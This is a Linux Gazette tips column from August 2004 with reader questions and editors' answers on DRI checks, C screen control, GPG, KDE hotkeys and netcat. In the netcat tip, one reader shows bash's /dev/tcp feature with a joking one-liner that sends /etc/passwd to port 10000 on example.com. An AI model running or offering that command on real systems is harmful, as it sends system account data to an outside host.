...making Linux just a little more fun!

<-- prev | next -->

More 2 Cent Tips!

See also: The Answer Gang's Knowledge Base and the LG Search Engine


Is your video acceleration system working?

Ben Okopnik (Linux Gazette Editor)

Are your games running slowly, even though you have the latest whizbang video card? Is your Quake action more like a slow-motion low-crawl through Jell-O than a high-FPS F(irst) P(erson) S(hooter)? You may be using software emulation of direct rendering (DRI) instead of the real thing, or may have outdated (or missing) GL libraries.

Here's a simple shell script that brings together all the necessary tools for checking your system's DRI status. I strongly suggest referring to the DRI Troubleshooting page at http://dri.sourceforge.net/cgi-bin/moin.cgi/DriTroubleshooting for a good guide to fixing any problems you find; it's been of great help to me several times.

See attached check-dri-status.bash.txt

Save it, make it executable with 'chmod +x <name>', run it, and follow the prompts at the bottom of the screen. (And remember to keep moving as you fire; the Macron in Level 8 can shoot missiles all day long.)


C program problem

Jason Creighton (androflux from softhome.net)
Question by Sanjib Roy (sanjib_w from hotmail.com)

how can i Clear Screen and Move Cursor to print a message in the screen from a C program that uses standard C function like printf() putch() without using ncurses.

Is there any function such as "clrscr()" and gotoxy() that are available in Dos based Turbo C++ compiler are available in Linux if not what is alternative

PLEASE HELP ME

I'd ask your lecturer this one.
Homework getting you down? Good, don't ask us, we won't help. :) -- Thomas
[Jason] You can't do that without ncurses. That is, you can't do it in a standard way that will work everywhere. You could spit out some escape codes, but that only works with on type of terminal. This sort of problem is exactly why the ncurses library exists, and to not use it would be quite silly.


Front and Back: KPGP and GPG

Richard Bos (radoeka from xs4all.nl)

[sent as Tip on Advice of Jimmy O'Regan]

Thanks for your kgpg article, it pointed me to the --editkey + adduid/deluid commands, that I was looking for - for some time.

Hello Linux-ers,

I wrote something down last week, answering my own questions that I had.

It explains how to deal with signing rpm packages. The webpage is located at:
http://linux01.gwdg.de/apt4rpm/signing.html

I hope you can benefit from it.

-- Kind regards, Richard Bos


Without a home the journey is endless


OpenChange

Jimmy O'Regan (The LG Answer Gang)

OpenChange is a project to reverse engineer all things MS Exchange. They have a program for dumping the contents of an Exchange database, and are working on the Exchange protocol, with a view to creating an open source Exchange clone.

http://openchange.althost.net/index.php?page=openEDB

[John Karns] Interesting. Not that I use it, but was intrigued when I noticed that HP had done similarly 3 or 4 years back (Openmail, I think), and were offering it gratis for non-commercial use - in closed source format IIRC. They soon killed it though, no doubt after being pressured by Redmond.
[Rick Moen] "I'm not dead yet!"
Both of those are the Openmail codebase.
More at: "Groupware" on http://linuxmafia.com/kb/Mail


SCP server for Windows (98/2k)

Jay R. Ashworth (jra from baylink.com)

I've found Caspian's package, but he says he doesn't think it will work with SCP due to banners and such.

Does anyone have, in-pocket, an SCP compatible SSHD for Windows 98/NT/2K that's as easy to install as the Caspian package?

(looks at sshwindows.sf.net)

nevermind. ;-)

Cheers, jra


Slackware retrospective

Mike Orr (LG Contributing Editor)
For you history buffs out there. -- Heather

LWN article about Slackware 10, reminiscing about the distribution that "has outlived all its predecessors": http://lwn.net/Articles/91467

A look at the evolution of Linux distributions:
http://lwn.net/Articles/91371


Triggering one of several options with Juk and KHotkeys

Jimmy O'Regan (The LG Answer Gang)

I posted a story on http://dot.kde.org mentioning that LG has two KDE related articles this month, and someone asked how to have multiple possible actions attached to a single key - launch Juk if it isn't running, pause if playing and vice versa, and play if stopped. This script does that:

See attached juk.bash.txt

[Ben] Intermediate-level shell tip for the above situation:
ps aux|grep '[j]uk'
Will ignore the 'grep' line every time. Why? Well...
ben@Fenrir:~$ find / [f]oo > /dev/null 2>&1 &
[1] 8099
ben@Fenrir:~$ ps --pid 8099
  PID TTY          TIME CMD
 8099 pts/0    00:00:02 find / [f]oo
Note that 'ps' lists the command exactly as invoked - square brackets and all. 'grep' itself, however, interprets the square brackets as a character class: that is, it looks for a match for any character(s) contained within the brackets. Since the only character within the brackets is 'f', '[f]oo' is interpreted simply as 'foo'. As a result, 'grep' is searching for 'foo' - but the 'grep' line itself, as listed by 'ps ax', does not contain 'foo'; it contains '[f]oo', which does not match.
The concept is a bit difficult to understand the first time, obvious - and handy! - forever after. :)

I'd forgotten this; handy. Only works, of course, if the argument to grep is a literal. Well, more accurately, it's even harder to understand (and possibly might break other things) if you put it in a variable...

[Ben] You're right: it can be made to work but would Not Be Conducive to Understanding. Something like
# YANETUT 
first=${var:0:1}
last=${var:1}
ps ax|grep "[$first]$last"
Ugh.


Using Windows Keyboard Media Buttons In Linux

john frey (iaargh from shaw.ca)

For years now I have been staring at the extra keys on my Logitech Freedom Optical with despair in my heart. I told myself I did not really need them, but somehow I felt less than a windows drone because I paid the money for a cordless keyboard and mouse and did not have full function.

Then I read this article, tried a few of the hotkeys for launching email, web browser and local file browser. That was all very neat but what i really wanted was to use the dial on the keyboard for volume control. My speakers have buttons to push for volume control but they are clunky and response is slow, using a slider on Kmix is equally unwieldy. When the email notification suddenly blares out (because I just finished watching a movie and forgot to lower the sound) I want to turn the sound down before the last tones fade out.

I muddled about in the KDE control centre a bit with not much success then hit on the astounding idea that maybe I could configure this from Kmix. Right click on the master volume control -> define keys......a few short clicks later and I had the dial working to raise and lower sound and the mute button as well. I felt f***n great. Can you say eeeasssy, can you say in-tui-tive? Wow, this is really the cats pajamas!

Sometimes the smallest things just make life worth living again ;~)


Telnet's nice, netcat's better

Flavio Poletti (anonymous)

Sending some network traffic from the shell.

Some time ago (actually, a long time ago) I needed to send some TCP traffic towards a host on a regular basis. So... the only tool I knew was telnet, I had no clue about socket programming, and I had to study expect in order to get the job done. No need to say, it was a real pain - what else should I /expect/? (For those who don't know what I'm talking about, I suggest to perform more-than-trivial interaction with some server on ports other than the telnet one).

Some time later, I learnt socket programming, so I was able to do the job inside C and call my program from the shell. But you can bet on it - it was some very focused application and proved to give me no help in a similar-but-different context.

It was then that I discovered netcat.

netcat (actually the executable should be called nc) is what I needed, plus much more. It is capable of running in both client and server (listening) mode, to cope with both TCP and UDP, and provides the more straightforward concept you could ask for: it reads standard input and sends it to the remote destination, and gives you the incoming traffic on the standard output. Quite nice, isn't it? netcat should be already available in your Linux box, anyway you can download it here: http://www.atstake.com/research/tools/network_utilities

I was very proud of my discovery (only 5-6 years of research!) when recently I had to find something that - quite surprising to me - was even simpler. I mean, to solve my ancient two-nights-without-sleep problem I didn't even need an external program! I found that what I needed can be done entirely inside the shell, provided that you're using bash - and all of us are using bash, aren't we?

This is the trick: bash defines some fake devices which you can use as files for redirection - but you actually get some IP traffic with them! So you can send your passwd file to your worst enemy at example.com simply by issuing this command:

cat /etc/passwd > /dev/tcp/example.com/10000

(we all know that our worst enemy accepts passwd files listening to port 10000)

That's it - and you can do that with UDP as well! If you want to find out more, take a look at the Bash Advanced Scripting Guide, in particular paragraph 28.1 (http://www.tldp.org/LDP/abs/html/devref1.html).

This is my 2c Tip!


I tried to seek inside /dev to see if there is any tcp or udp device, but found neither - that's why I claim that these devices are bash-interpreted. If you know more about this... correct please!

The Editor's Scissors had a grand time with this one. -- Heather
They're not defined by the shell, nor are they related to it -- they're just named FIFOs that the kernel defines are virtual when a port needs to be listened on. -- Thomas
[Jason Creighton] Quoting from the bash manpage:
       Bash  handles  several  filenames  specially  when  they  are  used  in
       redirections, as described in the following table
[Ben] ben@Fenrir:~$ ls -l /dev/tcp
ls: /dev/tcp: No such file or directory
The Talmud, I mean the "bash" man page, offers no further help; however, the Commentaries... err, /usr/src/linux/Documentation/devices.txt, says these are iBCS-2 compatability devices...
So, I made these nodes - with a little help from Perl:
ben@Fenrir:/usr/src/linux/Documentation$ su
Password:
root@Fenrir:/usr/src/linux/Documentation# mkdir /dev/inet
root@Fenrir:/usr/src/linux/Documentation# perl -wne'
if(m#0 = /dev/socksys#../raw/){/(\d+) = ([^\s]+)/;
system"mknod -m 0664 $2 c 30 $1; chgrp dialout $2"}
' devices.txt
root@Fenrir:/usr/src/linux/Documentation# perl -wlne'
if (m#/dev/ip #../X0R/){/([^\s]+) -> ([^\s]+)/;
system"ln -s $2 $1"}' devices.txt
Group "dialout" allows its members to use those devices.
In the next invocation, I selected the second group from above and created the symlinks by using much the same mechanism.
So, after all of that - will the stuff promised by the Bash man page work?
ben@Fenrir:~$ su -c 'thttpd -d ~ben/www'
ben@Fenrir:~$ cat /dev/tcp/localhost/80
cat: /dev/tcp/localhost/80: Not a directory
ben@Fenrir:~$ nc /dev/tcp/localhost/80
/dev/tcp/localhost/80: forward host lookup failed: Unknown host
[Kapil] I assume you are really Debianized. So quoting from /usr/share/doc/bash/README.Debian.gz:
	9. Why is bash configured with --disable-net-redirections?

	    It can produce completely unexpected results. This kind of
	    feature should not be part of a shell but a special. tool. And
	    that tool has existed for years already, it's called netcat.
And that brings us back around to Flavio's pleased discovery :) -- Heather
[Jason] So, if you were going to use this silly little bash trick instead of netcat, you would do something like this:
~$ cat /dev/tcp/localhost/25
cat: /dev/tcp/localhost/25: No such file or directory
~$ cat < /dev/tcp/localhost/25
220 jpc.example.com ESMTP Exim 4.20 Fri, 16 Jul 2004 16:32:55 -0600
I don't think it's possible to set up a bidirectional link via this method, like you can with netcat. Or perhaps there's some Really Clever Shell Tricks you can use to get cat's stdin and stdout hooked up to the fd in order for you to, for example, interact with an SMTP server. But I honestly don't care if you can do this, because it is, as you say... easier and nicer not to do this sort of thing in the shell.

This page edited and maintained by the Editors of Linux Gazette
HTML script maintained by Heather Stern of Starshine Technical Services, http://www.starshine.org/

 

Copyright © 2004, . Released under the Open Publication license unless otherwise noted in the body of the article. Linux Gazette is not produced, sponsored, or endorsed by its prior host, SSC, Inc.

Published in Issue 105 of Linux Gazette, August 2004

<-- prev | next -->
Tux